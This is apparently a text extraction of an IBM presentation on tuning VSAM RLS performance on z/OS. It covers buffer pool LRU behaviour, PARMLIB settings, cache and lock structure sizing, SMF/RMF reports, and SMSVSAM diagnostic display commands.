Actual results that may be obtained in other operating environments may vary significantly. While IBM has reviewed each item for accuracy in a specific situation, there is no guarantee that the same or similar results will be obtained elsewhere. The responsibility for use of this information or the implementation of any of these techniques is a customer responsibility and depends on the customer’s or user’s ability to evaluate and integrate them into their operating environment. Customers or users attempting to adapt these techniques to their own environments do so at their own risk. IN NO EVENT SHALL IBM BE LIABLE FOR ANY DAMAGE ARISING FROM THE USE OF THIS INFORMATION, INCLUDING BUT NOT LIMITED TO, LOSS OF DATA, BUSINESS INTERRUPTION, LOSS OF PROFIT OR LOSS OF OPPORTUNITY. Information concerning non-IBM products was obtained from the suppliers of those products, their published announcements or other publicly available sources. IBM has not necessarily tested those products in connection with this publication and cannot confirm the accuracy of performance, compatibility or any other claims related to non-IBM products. Questions on the capabilities of non-IBM products should be addressed to the suppliers of those products. The provision of the information contained herein is not intended to, and does not, grant any right or license under any IBM patents or copyrights. Inquiries regarding patent or copyright licenses should be made, in writing, to: IBM Director of Licensing IBM Corporation North Castle Drive Armonk, NY 10504-1785 U.S.A. Any statements regarding IBM’s future direction and intent are subject to change or withdrawal without notice, and represent goals and objectives only. Introduction There are a number of settings, parameters and sizing considerations to be made when configuring VSAM RLS environments. Additionally, there are many performance indicators and that can help to tune those options to a specific installation. The goal of this presentation is to help provide some insights into those topics as well as to supply guidance when problems are encountered. Agenda • VSAM RLS I/O Path and Buffer Management Overview • RLS sub components • GET path example • LRU algorithm • Performance and Tuning Parameters • Buffer Pools • PARMLIB • Cache Structures • Lock Structures • Data Class • Request Level Parameters • Data Set Considerations Agenda - Performance Measurements - SMF 64 records - SMF 42 subtypes 15-19 - RMF Monitor III - RMF RLSSC & RLSDS - RMF RLSLRU - SMSVSAM Diagnostics - Display commands - Hang / wait condition & SMSVSAM dump collection - Internal logic errors & required documentation VSAM RLS I/O Path and Buffer Management Overview VSAM RLS I/O Path – Sub Components - **VSAM Record Management (VRM)** - Provides the VSAM interfaces: GET, PUT, POINT, ERASE, etc. - Parameters passed to VRM are through the RPL control block. - **Storage Management Locking Services (SMLS)** - Interfaces with VRM and XCF locking services. - Obtains, releases, and alters locks in the coupling facility lock structure(s). VSAM RLS I/O Path – Sub Components • Sysplex Cache Manager (**SCM**) • Interfaces with Buffer Management Facility and XCF caching services • Obtains directory elements and read/write data elements in the coupling facility cache structures • Buffer Management Facility (**BMF**) • Interfaces with VRM and SCM to locate/add buffers to the local pool • Supports buffering past close • Data sets reopened for RLS within 10 minutes can reuse valid buffers remaining in the pool • Manages the size of the local buffer pool via a Least Recently Used (LRU) manager VSAM RLS I/O Path – Sub Components - **Performance Goal:** Spend the least amount of time in the I/O path! GET/PUT ↔ VRM ↔ SMLS ↔ XCF Locking services ↔ BMF ↔ SCM ↔ XCF Caching Services ↔ Media Mgr Services (to DASD) VSAM RLS I/O Path – Example of a GET RLS Client Address Space OPEN ACB MACRF=RLS, RLSREAD=CR GET DIR, ASY Key1 (VMR) PC Coupling Facility IGWLOCK00 Record Lock Resource Table Entry RLSCache Directory Entry Data Element Data Component Index Component SMSVSAM Address Space RLSAboveTheBarPool 2,000,000M 32768M Buffer Buffer Buffer Dataspace 2,000M ACB AMBL AMB ... 1728M Buffer Buffer Buffer (VRM…) Index_search: (Call BMF to locate Index CIs / Call SCM to read from CF or DASD) Lock_Record; (Call SMLS to obtain record lock) Get_Data_CI: (Call BMF to locate Data CI / Call SCM to read from CF or DASD) UnLock_Record: (Call SMLS to release record lock) Buffer Management Overview • 31 Bit Buffer Pool • Size: 10M to 1728M • Defined using the RLS_MAX_POOL_SIZE(nnnn) parameter • Same on all systems • 64 Bit Buffer Pool • Size: 0 or 500M > size > 2,000,000M (2TB) • Defined using the RLSAboveTheBarMaxPoolSize(sysname1,nnnn) parameter • Can be specified per system Buffer Management Overview – LRU(31 bit) - 31 bit LRU Comprised of 4 different levels - **Normal Mode (0 – 80%)** - Max_Cycles_Unused = 240 - Cycles_Unused = Cycles_Unused + 1 - Cycle iterates every 15 seconds - \((15 \times 240) / 60 = 60\) minutes - **Maintenance Mode (80 – 120%)** - Max_Cycles_Unused = Max_Cycles_Unused - 1 - Cycles_Unused = Cycles_Unused + 1 - Cycle iteration stays at 15 seconds - **Accelerated Mode (120 – 200%)** - Max_Cycles_Unused = Max_Cycles_Unused - 4 - Cycles_Unused = Cycles_Unused + 1 - Cycle iteration stays at 15 seconds - **Panic Mode (> 200%)** - Max_Cycles_Unused = Max_Cycles_Unused - 8 - Cycles_Unused = Cycles_Unused + 1 - Cycle iteration runs every 5 seconds * 200% of RLS_MAX_POOL_SIZE OR > 1728MB Limit Buffer Management Overview – LRU(64 bit) - 64 bit LRU Comprised of 4 different modes - **Normal Mode (0 - 80%)** - Buffers older than 60 minutes are recycled - **Maintenance Mode (80 - 90%)** - Buffers older than 60 minutes are recycled - **Accelerated Mode (90 - 100%)** - Buffers older than 30 minutes are recycled - Buffer stealing will be attempted - If no available buffers a new one will be generated - **Panic Mode (> 100%)** - Buffers older than 5 minutes are recycled - Buffer stealing will be attempted - If no available buffers a new one will be generated Percentage of RLSAboveTheBarMaxPoolSize in use - > 100% - 90-100% - 80-90% - 0-80% Performance and Tuning Parameters Performance and Tuning – Buffer Pools - **SYS1.PARMLIB(IGDSMSxx)** - **RLS_MAX_POOL_SIZE(nnnn MB)** - Max size of SMSVSAM local buffer pool - nnnn = 10 to 9999, anything over 1500 is treated as the max of 1728 - Recommendation: RLS_MAX_POOL_SIZE( <= 850 ) - *Must have adequate cache structure sizes* - *680M (80%) of buffers to reside in the 31 bit pool for one hour via LRU normal mode* - *Allows for a doubling of the pool to 1700M before entering panic mode (after exceeding the 1728M limit)* Performance and Tuning – Buffer Pools • **SYS1.PARMLIB(IGDSMSxx)** • RLSAboveTheBarMaxPoolSize([sys1,val1;sys2,val2...] | [ALL,value]) • Amount of virtual storage allocated above 2G bar for RLS buffering • nnnn = 0, or 500M > size > 2,000,000M (2 TB) • Recommendation: RLSAboveTheBarMaxPoolSize( <= 32768 ) • *Must have matching amount of real storage* • *Must have adequate cache structure sizes* • *Recommended when LRU for 31 bit pool regularly in accelerated / panic mode* • *Great for applications needing to traverse large amounts of data repeatedly* Performance and Tuning – Buffer Pools - Pool Size values are a goal for which the LRU tries to maintain. - If more buffers are required at any given time, the pool may temporarily exceed the values set. - Total size of buffer pools should not exceed amount of real storage. - A paged out buffer is immediately freed by the LRU. Performance and Tuning – PARMLIB - **SYS1.PARMLIB(IGDSMSxx)** - **RLSINIT(YES | NO)** - SMSVSAM started during system init - Set this to YES or issue V SMS,SMSVSAM,ACTIVE at IPL - **CF_TIME(xx seconds | 3600)** - Interval for recording of SMF 42 subtype 15 – 19 - The default is once / hour - The standard is generally once every 15 minutes - **SMF_TIME(YES | NO)** - Synchronizes creation of SMF 42 subtypes 2, 15 – 19 with RMF intervals - “YES” helps when correlating data between SMF and RMF during performance diagnosis Performance and Tuning – PARMLIB - **SYS1.PARMLIB(IGDSMSxx)** - **RLS_MaxCFFeatureLevel(Z | A)** - Dictates size of data placed in CF cache structures - **Z**: only CIs less than 4K cached - *Saves space in the cache structure* - *Advantageous if data is primarily read-only and remains valid in local buffers* - **A**: CIs up to 32K cached - *Requires more space in the cache structure* - *Advantageous when shared data is updated across the sysplex* - *Allows use of RLS CF Cache Feature in data class* - **CA_RECLAIM (NONE | {DATACLAS | DATACLASS})** - Enabling CA reclaim reduces KSDS fragmentation and the need for reorgs - None: CA reclaim is not used, regardless of data class setting - DATACLAS | DATACLASS: Enables CA reclaim for all eligible data sets Performance and Tuning – Cache Structures - **Cache Structures and Cache Sets** - Allows for partitioning of workloads and data sets - Structures and sets defined in the base config (share control data set) - Many cache structures mapped to one cache set - One cache set assigned to each storage class - Structure allocation details defined in CFRM policy - Proper cache structure sizing is required to ensure maximum buffer effectiveness! Performance and Tuning – Cache Structures • The ideal theoretical single cache structure size: • Sum of 31 bit and 64 bit buffer goals • 31 bit buffer goal = \((\text{RLS\_Max\_Pool\_Size}) \times \text{Number of Systems}\) • 64 bit buffer goal = \(\text{RLS\_Above\_The\_Bar\_Max\_Pool\_Size(system1)} + \text{RLS\_Above\_The\_Bar\_Max\_Pool\_Size(system2)} + \ldots + \text{RLS\_Above\_The\_Bar\_Max\_Pool\_Size(systemN)}\) • Assumptions: • \(\text{RLS\_Max\_CFFeaturelevel(A)}\): caching all data • No sharing of data across the sysplex Performance and Tuning – Cache Structures - Example: - $\text{RLS\_Max\_Pool\_Size}(850)$ - Number of Systems $= 2$ - $\text{RLSAboveTheBarMaxPoolSize(System1,2048)}$ - $\text{RLSAboveTheBarMaxPoolSize(System2,4096)}$ - $\text{Cache\_Structure\_Size} = (850 \times 2) + 2048 + 4096 = 7844 \text{M}$ - Cache structure sizes less than the ideal amount should be closely monitored for directory reclaims. Performance and Tuning – Cache Structures • Recommendations • Allocate different cache structures for different applications. • Allocate different structures to match internal structure usages. • If more than one cache structure to be allocated: • Divide total ideal theoretical allocation across all structures • Base sizes on data set usage distribution • Size • Number • Amount of data accessed Performance and Tuning – Cache Structures • False Invalids: • Take place when a cache structure(s) too small for current buffer allocations • Cache structures invalidate entries to make room for new requests • Causes additional requests to DASD! • Tracked in • RMF panels RLSSC, and RLSDS • SMF 42 subtypes 15-16 Performance and Tuning – Cache vs Buffer - A balance between buffer and cache allocations must be made for optimum performance - **buffer space = large and cache space = small** - Bottleneck in cache will occur between buffers and DASD - Cache will invalidate buffer entries to make room for new requests: thrashing - False Invalids occur when the cache structure needs more space than it has to satisfy CI requests. - **buffer space = small and cache space = large** - Potentially wasted coupling facility space is expensive - Cache will try to keep as much data in it as possible - Buffer LRU will be the constraining factor Performance and Tuning – Lock Structures Lock Structures and Lock Sets - Allows for partitioning workloads and environments (i.e. dev and prod) - Structures and sets defined in the base config (SCDS) - One lock structure mapped to one lock set - One lock set assigned to each storage class - Structure allocation details defined in CFRM policy Performance and Tuning – Lock Structures - \( \text{Lock\_Structure\_Size} = (10M \times \text{Number\_Of\_Systems} \times \text{Lock\_Entry\_Size}) \) - \( \text{Lock\_Entry\_Size} \) (depends on the CFRM MAXSYSTEM value) - \( \text{MAXSYSTEM} \leq 7 \) \( \rightarrow \) \( \text{Lock\_Entry\_Size} = 2 \) - \( \text{MAXSYSTEM} \geq 8 \) \& \( < 24 \) \( \rightarrow \) \( \text{Lock\_Entry\_Size} = 4 \) - \( \text{MAXSYSTEM} \geq 24 \) \& \( \leq 32 \) \( \rightarrow \) \( \text{Lock\_Entry\_Size} = 8 \) - Example: \( \text{MAXSYSTEM} = 16 \) and 8 systems in sysplex \( \text{Lock\_Structure\_Size} = 10M \times 4 \times 8 = 320M \) Note: Minimum size of 13M is recommended Performance and Tuning – Lock Structures - Small lock structures result in increased false contention rates - True or false contention results in asynchronous lock requests - To review false contention - RMF CF activity report - SMF 42 subtype 17 - D SMS,CFLS command - Recommended false contention rate is < 5% Performance and Tuning – Data Class - **BWO (NO | TYPECICS | TYPEIMS)** - BWO: Backup While Open - NO: BWO not used for CICS or IMS VSAM data sets - TYPECICS: BWO used for CICS VSAM file control data sets - Requires multiple SVC 26 calls to catalog - Component 1 lock held across VRM requests - TYPEIMS: BWO used for IMS VSAM data sets with IMS 6.1+ - Recommendation: To maximize concurrent VRM performance, only use BWO when absolutely necessary. - **RLS CF Cache Value (ALL | NONE | UPDATESONLY)** - ALL: Cache data and index CIs - None: Cache index CIs only - Updates: Cache CIs for write requests only - This setting only applies with RIsMaxCFFeatureLevel(A)! Performance and Tuning – Data Class • RLS Above the 2-GB Bar (YES | NO) • Specifies whether SMSVSAM can use 64-bit virtual buffering for the data set • NO: • Recommended for heavy insert and update data sets • YES: • Recommended for heavy read data sets where data is reaccessed within one hour’s time frame • Must specify a non-zero RLSAboveTheBarMaxPoolSize • The current design of 64 bit buffering uses 10-20% more CPU for equivalent 31 bit requests, however, the large 64 bit pool size allows for increased buffer hits over the 31 bit pool. 64 bit buffering will be redesigned in a future release to address this CPU increase. Performance and Tuning – Data Class - Extent Constraint Removal (YES | NO) - Specifies whether data sets can have > 255 extents - CA Reclaim (YES | NO) - Specifies whether DASD space for empty CAs in KSDS data sets will be reused - Value saved in catalog - Only used if CA reclaim function enabled in IGDSMSxx or with SETSMS command - Recommended to avoid data set fragmentation and to reduce reorg frequency Performance and Tuning – Data Set **CISIZE** - Currently, both RLS and base VSAM will serialize the *entire* data set when - CI / CA split is in progress - CI / CA reclaim is in progress - Accessing spanned records - Recommendation: When reasonable, increase CI size for data sets with higher insert activity. - Larger is better in terms of CPU - Larger also means larger buffers: performance vs. storage tradeoff - Larger CIs will contain more records which may lead to contention on DASD flush Performance and Tuning – ACB / GENCB - **RLSREAD (NRI | CR | CRE)** - **NRI** - No Read Integrity - Will not get record lock - **CR** - Consistent Read - Will get / release record lock - **CRE** - Consistent Read Extended - Will get record lock - Lock released at commit (recoverable data sets only) Performance and Tuning – RPL - **OPTCD** - **ASY | SYN** - Asynchronous: SRB - Synchronous: TCB - **DIR | SEQ | SKP** - Direct: Process request starting with specific record - Sequential: Process request record by record - Skip Sequential: Position on a record and move sequentially - **NRI | CR | CRE** - No Read Integrity - Consistent Read - Consistent Read Extended Performance Measurements Performance Measurements – SMF 64 • SMF 64 Records • Cut by CLOSE and EOV on a per ACB basis: • SMF64DLR: number of logical records • SMF64DDE: number of delete requests • SMF64DIN: number of insert requests • SMF64DUP: number of update requests • SMF64DRE: number of retrieve requests • SMF64BMH: number of BMF hits in the local buffer pool • SMF64CFH: number of CF hits in the RLS cache structure • SMF64RIO: number of requests read from DASD • SMF64DEP: total number of requests • SMF64NLR: number of logical records at open Performance Measurements – SMF 42 • SMF 42 Subtypes 15, 16, 17, 18, 19 • **Subtype 15** - RLS statistics by storage class • **Subtype 16** - RLS statistics by data set • Must use V SMS,MONDS(spherename),ON to collect subtype 16 statistics • **Subtype 17** - RLS CF lock structure usage • **Subtype 18** - RLS CF caching statistics • **Subtype 19** - Buffer Manager LRU statistics • Note: Only one system in the sysplex collects the SMF 42 records. The system collecting the records is displayed in the D SMS,SMSVSAM operator command. Performance Measurements – RMF - RMF Monitor III - All statistics gathered from interface call with SMSVSAM address spaces - Collected on RMF defined intervals - Can be matched to SMF intervals with SMF_TIME(YES) - Any SMSVSAM data in RMF monitor reports also found in SMF 42 records Performance Measurements – RMF - **RLSSC & RLSDS** - RLSSC: VSAM RLS activity by storage class - RLSDS: VSAM RLS activity by data set - Two different organizations split into sequential and direct requests - Provides information on: - Local buffer access (BMF) - CF cache structure hit % - DASD hit % - % valid buffer / cache hits - % false invalid buffer / cache hits - Assists in determining sizes - CF cache structures - Buffer pools - Helps analyze overall application performance Performance Measurements – RMF RMF Sysplex Report Selection Menu Selection ===> Enter selection number or command for desired report. Sysplex Reports 1 SYSSUM Sysplex performance summary (SUM) 2 SYSRTD Response time distribution (RTD) 3 SYSWKM Work Manager delays (WKM) 4 SYSENQ Sysplex-wide Enqueue delays (ES) 10 RLSSC VSAM RLS activity by storage class (RLS) 11 RLSDS VSAM RLS activity by data set (RLD) 12 RLSLRU VSAM LRU overview (RLL) ### RMF V1R8 VSAM RLS Activity - SYSPLEX **Command ====>** **Scroll == =>** HALF *Samples: 59* *Systems: 2* *Date: 10/31/06* *Time: 13.16.00* *Range: 60 sec* **LRU Status :** Good / Accel **Contention % :** 0.0 / 0.0 **False Cont % :** 0.0 / 0.0 <table> <thead> <tr> <th>Stor Class</th> <th>Access</th> <th>Resp Time</th> <th>Resp Rate</th> <th>BMF%</th> <th>CF%</th> <th>DASD%</th> <th>Valid%</th> <th>False Inv%</th> <th>BMF</th> <th>Write Rate</th> </tr> </thead> <tbody> <tr> <td><strong>RLS_SC1</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td><strong>Below 2GB</strong></td> <td>DIR</td> <td>0.004</td> <td>665.6</td> <td>88.2</td> <td>0.5</td> <td>11.3</td> <td>100</td> <td>0.01</td> <td>0.01</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td><strong>Above 2GB</strong></td> <td>DIR</td> <td>0.004</td> <td>665.6</td> <td>88.2</td> <td>0.5</td> <td>11.3</td> <td>100</td> <td>0.01</td> <td>0.01</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td><strong>RLS_SC2</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td><strong>Below 2GB</strong></td> <td>DIR</td> <td>0.005</td> <td>200.0</td> <td>90.5</td> <td>0.0</td> <td>9.5</td> <td>100</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> </tbody> </table> ### RLSSC - System/CF Structure View **Command ===>** **Samples: 120** **Systems: 2** **Date: 10/31/06** **Time: 13.25.00** **Range: 120 Sec** **LRU Status :** **Good / Accel** **Storage Class :** **RLS_SC1** **Contetion % :** **0.0 / 0.0** **Cache Set :** **PUBLIC1** **False Cont % :** **0.0 / 0.0** <table> <thead> <tr> <th>System/CF</th> <th>Access</th> <th>Resp</th> <th>Time</th> <th>Rate</th> <th>BMF%</th> <th>CF%</th> <th>DASD%</th> <th>Valid%</th> <th>False Inv%</th> <th>Rate</th> </tr> </thead> <tbody> <tr> <td><em>ALL</em></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Below 2GB</td> <td>DIR</td> <td>0.000</td> <td>14.98</td> <td>83.0</td> <td>0.0</td> <td>17.0</td> <td>100</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td>Above 2GB</td> <td>DIR</td> <td>0.000</td> <td>14.98</td> <td>83.0</td> <td>0.0</td> <td>17.0</td> <td>100</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> </tbody> </table> **SYS1** **CACHE01** | Below 2GB | DIR | 0.000| 7.49 | 83.0 | 0.0 | 17.0| 100 | 0.00 | 0.00 | 0.00 | | | SEQ | 0.000| 0.00 | 0.0 | 0.0 | 0.0 | 0.0 | 0.00 | 0.00 | 0.00 | | Above 2GB | DIR | 0.000| 7.49 | 83.0 | 0.0 | 17.0| 100 | 0.00 | 0.00 | 0.00 | | | SEQ | 0.000| 0.00 | 0.0 | 0.0 | 0.0 | 0.0 | 0.00 | 0.00 | 0.00 | ### RLSDS - Sysplex Totals View **Command ==>** **Scroll ==>** HALF **Samples:** 120 **Systems:** 2 **Date:** 10/31/06 **Time:** 13.25.00 **Range:** 120 Sec **LRU Status:** Good / Accel **Contention %:** 0.0 / 0.0 **False Cont %:** 0.0 / 0.0 <table> <thead> <tr> <th>Sphere/DS</th> <th>Access</th> <th>Resp</th> <th>Time</th> <th>Rate</th> <th>BMF%</th> <th>CF%</th> <th>DASD%</th> <th>Valid%</th> <th>False Inv%</th> <th>Rate</th> </tr> </thead> <tbody> <tr> <td><strong>BMAI.VSAMIN.MEGA</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td><strong>BMAI.VSAMIN.MEGA.AIX.DATA</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Below 2GB</td> <td>DIR</td> <td>0.003</td> <td>0.01</td> <td>0.0</td> <td>0.0</td> <td>100</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td>Above 2GB</td> <td>DIR</td> <td>0.003</td> <td>0.01</td> <td>0.0</td> <td>0.0</td> <td>100</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td><strong>BMAI.VSAMIN.MEGA.AIX.INDEX</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Below 2GB</td> <td>DIR</td> <td>0.003</td> <td>0.03</td> <td>50.0</td> <td>0.0</td> <td>50.0</td> <td>100</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td>Above 2GB</td> <td>DIR</td> <td>0.003</td> <td>0.03</td> <td>50.0</td> <td>0.0</td> <td>50.0</td> <td>100</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.0</td> <td>0.00</td> <td>0.00</td> <td>0.00</td> </tr> </tbody> </table> ### RLSDS - System View <table> <thead> <tr> <th>Command</th> <th>Scroll</th> <th>Samples: 120</th> <th>Systems: 2</th> <th>Date: 10/31/06</th> <th>Time: 13.25.00</th> <th>Range: 120 Sec</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> </tbody> </table> #### RMF V1R8 VSAM RLS Activity - SYSPLEX **LRU Status**: Good / Accel **Storage Class**: RLS_SC1 **Cache Set**: RLSCSET **Data Set**: RLSADSW.VF01D.INVENTOR.IND <table> <thead> <tr> <th>System/CF</th> <th>Access</th> <th>Resp</th> <th>---------- Read ----------</th> <th>------- BMF -------</th> <th>Write</th> </tr> </thead> <tbody> <tr> <td><strong>ALL</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Below 2GB</td> <td>DIR</td> <td>0.000</td> <td>24.27 97.7 2.2 0.1 100</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00 0.0 0.0 0.0 0.0</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td>Above 2GB</td> <td>DIR</td> <td>0.000</td> <td>24.27 97.7 2.2 0.1 100</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00 0.0 0.0 0.0 0.0</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td><strong>SYS1</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>RLSCACHE01</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Below 2GB</td> <td>DIR</td> <td>0.000</td> <td>0.20 100 0.0 0.0 100</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00 0.0 0.0 0.0 0.0</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td><strong>SYS2</strong></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>RLSCACHE01</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Above 2GB</td> <td>DIR</td> <td>0.000</td> <td>24.07 97.7 2.2 0.1 100</td> <td>0.00 0.00</td> <td></td> </tr> <tr> <td></td> <td>SEQ</td> <td>0.000</td> <td>0.00 0.0 0.0 0.0 0.0</td> <td>0.00 0.00</td> <td></td> </tr> </tbody> </table> Performance Measurements – RMF - **RLSLRU** - Provides buffer manager LRU statistics for each system - Helps to size 32 and 64 bit pools - Properly sized pools help to tune cache structures Performance Measurements – RMF - **RLSLRU** An example of a RLSMAXPOOLSIZE = 500 and RLSABOVETHEBARMAXPOOLSIZE = 2000 specification: <table> <thead> <tr> <th>System</th> <th>Below 2GB</th> <th>Above 2GB</th> </tr> </thead> <tbody> <tr> <td>Avg CPU</td> <td>0.023</td> <td>3.543</td> </tr> <tr> <td>Goal</td> <td>500</td> <td>2000</td> </tr> <tr> <td>High</td> <td>352</td> <td>1552</td> </tr> <tr> <td>% Accel</td> <td>0.0</td> <td>0.0</td> </tr> <tr> <td>% Reclaim</td> <td>0.0</td> <td>0.0</td> </tr> <tr> <td>BMF%</td> <td>82.0</td> <td>95.0</td> </tr> <tr> <td>CF%</td> <td>8.0</td> <td>2.0</td> </tr> <tr> <td>DASD%</td> <td>10.0</td> <td>3.0</td> </tr> </tbody> </table> - **SYS1** - Below 2GB: Time 0.023, Buffer Size 352, Accel 0.0, Reclaim 0.0, BMF% 82.0, CF% 8.0, DASD% 10.0 - Above 2GB: Time 3.543, Buffer Size 1552, Accel 0.0, Reclaim 0.0, BMF% 95.0, CF% 2.0, DASD% 3.0 - **SYS2** - Below 2GB: Time 4.457, Buffer Size 612, Accel 100.0, Reclaim 0.0, BMF% 31.2, CF% 10.5, DASD% 58.3 The following details are available for MVS System: SYS2 Press Enter to return to the Report panel. Fixed Storage Below 2 GB : 0 Above 2 GB : 0 Real Storage % Below 2 GB : 0 Above 2 GB : 0 <table> <thead> <tr> <th>Below 2 GB</th> <th>Above 2 GB</th> </tr> </thead> <tbody> <tr> <td>Low</td> <td>High</td> </tr> <tr> <td>Fixed Pages</td> <td>0</td> </tr> </tbody> </table> Buffer Counts by Pool: <table> <thead> <tr> <th>Size</th> <th>Low</th> <th>High</th> <th>Avg</th> <th>More: +</th> </tr> </thead> <tbody> <tr> <td>2K</td> <td>163</td> <td>318</td> <td>226</td> <td>0</td> </tr> <tr> <td>4K</td> <td>713</td> <td>1537</td> <td>1299</td> <td>0</td> </tr> <tr> <td>6K</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>8K</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>10K</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>12K</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>14K</td> <td>0</td> <td>5000</td> <td>0</td> <td>0</td> </tr> <tr> <td>16K</td> <td>460</td> <td>678</td> <td>656</td> <td>0</td> </tr> <tr> <td>. . .</td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>30K</td> <td>0</td> <td>9000</td> <td>0</td> <td>0</td> </tr> <tr> <td>32K</td> <td>0</td> <td>7949</td> <td>0</td> <td>0</td> </tr> </tbody> </table> SMS VSAM Diagnostics SMSVSAM Diag – Display Commands - D SMS,CFLS(lock_structure) - Displays lock structure statistics to the console - Contention values for IGWLOCK00 (default) or specified structure - Tracks - LockRate: Number of lock requests / sec - ContRate: Percentage of requests that encountered contention - FContRate: Percentage of requests encountering false contention - WaitQLen: Average number of requests waiting behind locks SMSVSAM Diag – Display Commands - **D SMS,CFLS(lock_structure)** IGW320I 00:01:48 Display SMS,CFLS(IGWLOCK00 ) PRIMARY STRUCTURE:IGWLOCK00 VERSION:C57C859902B9264E SIZE:95232K RECORD TABLE ENTRIES:34438 USED:747 SECONDARY STRUCTURE:IGWLOCK00 VERSION:C58548B866A7576E SIZE:95232K RECORD TABLE ENTRIES:34438 USED:747 LOCK STRUCTURE MODE: DUPLEXED STATUS: ENABLE <table> <thead> <tr> <th>System</th> <th>Interval</th> <th>LockRate</th> <th>ContRate</th> <th>FContRate</th> <th>WaitQLen</th> </tr> </thead> <tbody> <tr> <td>J90</td> <td>1 Minute</td> <td>15.1</td> <td>0.000</td> <td>0.331</td> <td>0.00</td> </tr> <tr> <td>J90</td> <td>1 Hour</td> <td>11.9</td> <td>0.000</td> <td>0.047</td> <td>0.01</td> </tr> <tr> <td>J90</td> <td>8 Hour</td> <td>8.2</td> <td>0.001</td> <td>0.039</td> <td>0.00</td> </tr> <tr> <td>J90</td> <td>1 Day</td> <td>17.3</td> <td>0.001</td> <td>0.042</td> <td>0.01</td> </tr> <tr> <td>(09)</td> <td>1 Minute</td> <td>7.5</td> <td>0.000</td> <td>0.161</td> <td>0.00</td> </tr> <tr> <td>(09)</td> <td>1 Hour</td> <td>7.0</td> <td>0.000</td> <td>0.020</td> <td>0.00</td> </tr> <tr> <td>(09)</td> <td>8 Hour</td> <td>6.6</td> <td>0.001</td> <td>0.033</td> <td>0.00</td> </tr> <tr> <td>(09)</td> <td>1 Day</td> <td>20.9</td> <td>0.001</td> <td>0.029</td> <td>0.00</td> </tr> </tbody> </table> *************** LEGEND *************** - LockRate = number of lock requests per second - CONTRATE = % of lock requests globally managed - FCONTRATE = % of lock requests falsely globally managed - WaitQLen = Average number of requests waiting for locks SMSVSAM Diag – Display Commands - **D SMS,SMSVSAM,DIAG(Contension)** - Displays latch contention on SMSVSAM resources - Latches are 8 bytes of storage used to serialize system resources - 